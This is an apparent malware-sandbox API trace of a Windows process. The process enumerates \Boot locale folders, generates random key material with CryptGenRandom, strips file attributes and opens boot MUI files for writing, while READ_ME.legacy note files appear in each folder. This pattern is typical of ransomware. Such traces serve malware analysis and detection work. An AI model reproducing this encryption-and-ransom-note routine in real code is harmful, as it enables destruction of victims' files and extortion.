[0107.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02e8 | out: hHeap=0x520000) returned 1 [0107.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0107.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20240 | out: hHeap=0x520000) returned 1 [0107.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0107.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0107.347] FindNextFileW (in: hFindFile=0x5a05e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.347] GetLastError () returned 0x5 [0107.348] SetLastError (dwErrCode=0x5) [0107.348] GetLastError () returned 0x5 [0107.349] SetLastError (dwErrCode=0x5) [0107.349] GetLastError () returned 0x5 [0107.349] SetLastError (dwErrCode=0x5) [0107.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0107.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0107.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0107.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0107.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0368 [0107.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0368 | out: hHeap=0x520000) returned 1 [0107.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0107.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0107.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0107.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0107.349] FindNextFileW (in: hFindFile=0x5a05e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.349] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.349] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0107.349] GetLastError () returned 0x5 [0107.350] SetLastError (dwErrCode=0x5) [0107.350] GetLastError () returned 0x5 [0107.350] SetLastError (dwErrCode=0x5) [0107.350] GetLastError () returned 0x5 [0107.350] SetLastError (dwErrCode=0x5) [0107.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0107.350] FindNextFileW (in: hFindFile=0x5a05e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0107.350] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0107.350] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0107.350] GetLastError () returned 0x5 [0107.350] SetLastError (dwErrCode=0x5) [0107.350] GetLastError () returned 0x5 [0107.350] SetLastError (dwErrCode=0x5) [0107.350] GetLastError () returned 0x5 [0107.350] SetLastError (dwErrCode=0x5) [0107.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0107.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0107.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.351] FindNextFileW (in: hFindFile=0x5a05e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aca9ab, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aca9ab, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0107.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0107.351] GetLastError () returned 0x5 [0107.351] SetLastError (dwErrCode=0x5) [0107.351] GetLastError () returned 0x5 [0107.351] SetLastError (dwErrCode=0x5) [0107.351] GetLastError () returned 0x5 [0107.351] SetLastError (dwErrCode=0x5) [0107.351] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0107.351] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0107.351] FindNextFileW (in: hFindFile=0x5a05e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aca9ab, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aca9ab, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0107.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0107.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d2d0 [0107.352] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0107.352] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d2d0 | out: pbBuffer=0x54d2d0) returned 1 [0107.352] SetFileAttributesW (lpFileName="\\Boot\\es-ES\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0107.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.352] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0107.352] CreateFileW (lpFileName="\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.352] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0107.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0107.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584358 [0107.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1208 [0107.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584358 | out: pbBuffer=0x584358) returned 1 [0107.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1208 | out: pbBuffer=0x5c1208) returned 1 [0107.353] SetFileAttributesW (lpFileName="\\Boot\\es-ES\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0107.353] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0107.353] CreateFileW (lpFileName="\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0107.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0107.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0107.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0107.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0107.354] FindFirstFileW (in: lpFileName="\\Boot\\es-MX\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0028 [0107.354] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0107.354] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0107.354] GetLastError () returned 0x5 [0107.355] SetLastError (dwErrCode=0x5) [0107.355] GetLastError () returned 0x5 [0107.355] SetLastError (dwErrCode=0x5) [0107.355] GetLastError () returned 0x5 [0107.355] SetLastError (dwErrCode=0x5) [0107.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0107.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d138 [0107.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0107.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0107.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0268 [0107.355] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0268 | out: hHeap=0x520000) returned 1 [0107.355] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0107.355] FindNextFileW (in: hFindFile=0x5a0028, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0107.356] GetLastError () returned 0x5 [0107.356] SetLastError (dwErrCode=0x5) [0107.356] GetLastError () returned 0x5 [0107.356] SetLastError (dwErrCode=0x5) [0107.356] GetLastError () returned 0x5 [0107.356] SetLastError (dwErrCode=0x5) [0107.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0107.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0107.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0107.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a00e8 [0107.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0107.356] FindNextFileW (in: hFindFile=0x5a0028, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.356] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0107.357] GetLastError () returned 0x5 [0107.357] SetLastError (dwErrCode=0x5) [0107.357] GetLastError () returned 0x5 [0107.357] SetLastError (dwErrCode=0x5) [0107.357] GetLastError () returned 0x5 [0107.357] SetLastError (dwErrCode=0x5) [0107.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0107.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0107.357] FindNextFileW (in: hFindFile=0x5a0028, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aca9ab, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aca9ab, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.357] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0107.357] GetLastError () returned 0x5 [0107.357] SetLastError (dwErrCode=0x5) [0107.357] GetLastError () returned 0x5 [0107.357] SetLastError (dwErrCode=0x5) [0107.357] GetLastError () returned 0x5 [0107.357] SetLastError (dwErrCode=0x5) [0107.358] FindNextFileW (in: hFindFile=0x5a0028, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aca9ab, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aca9ab, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0107.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1218 | out: pbBuffer=0x5c1218) returned 1 [0107.358] SetFileAttributesW (lpFileName="\\Boot\\es-MX\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.358] CreateFileW (lpFileName="\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0107.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0107.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0107.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7f8 | out: hHeap=0x520000) returned 1 [0107.359] FindFirstFileW (in: lpFileName="\\Boot\\et-EE\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0628 [0107.359] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0107.359] GetLastError () returned 0x5 [0107.359] SetLastError (dwErrCode=0x5) [0107.359] GetLastError () returned 0x5 [0107.360] SetLastError (dwErrCode=0x5) [0107.360] GetLastError () returned 0x5 [0107.360] SetLastError (dwErrCode=0x5) [0107.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0107.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0107.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0107.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0107.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a04e8 [0107.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a04e8 | out: hHeap=0x520000) returned 1 [0107.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0107.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0107.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0107.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0107.360] FindNextFileW (in: hFindFile=0x5a0628, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0107.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.361] GetLastError () returned 0x5 [0107.361] SetLastError (dwErrCode=0x5) [0107.361] GetLastError () returned 0x5 [0107.361] SetLastError (dwErrCode=0x5) [0107.361] GetLastError () returned 0x5 [0107.361] SetLastError (dwErrCode=0x5) [0107.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0107.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0107.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0107.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0107.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0068 [0107.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0068 | out: hHeap=0x520000) returned 1 [0107.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0107.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0107.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0107.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0107.362] FindNextFileW (in: hFindFile=0x5a0628, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0107.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.362] GetLastError () returned 0x5 [0107.362] SetLastError (dwErrCode=0x5) [0107.362] GetLastError () returned 0x5 [0107.362] SetLastError (dwErrCode=0x5) [0107.362] GetLastError () returned 0x5 [0107.362] SetLastError (dwErrCode=0x5) [0107.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0107.362] FindNextFileW (in: hFindFile=0x5a0628, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1af0ccc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1af0ccc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.362] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0107.363] GetLastError () returned 0x5 [0107.363] SetLastError (dwErrCode=0x5) [0107.363] GetLastError () returned 0x5 [0107.363] SetLastError (dwErrCode=0x5) [0107.363] GetLastError () returned 0x5 [0107.363] SetLastError (dwErrCode=0x5) [0107.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0107.363] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0107.363] FindNextFileW (in: hFindFile=0x5a0628, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1af0ccc, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1af0ccc, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1af0ccc, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0107.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5806a8 [0107.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c11d8 [0107.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5806a8 | out: pbBuffer=0x5806a8) returned 1 [0107.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c11d8 | out: pbBuffer=0x5c11d8) returned 1 [0107.363] SetFileAttributesW (lpFileName="\\Boot\\et-EE\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0107.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0107.364] CreateFileW (lpFileName="\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0107.364] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0107.364] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 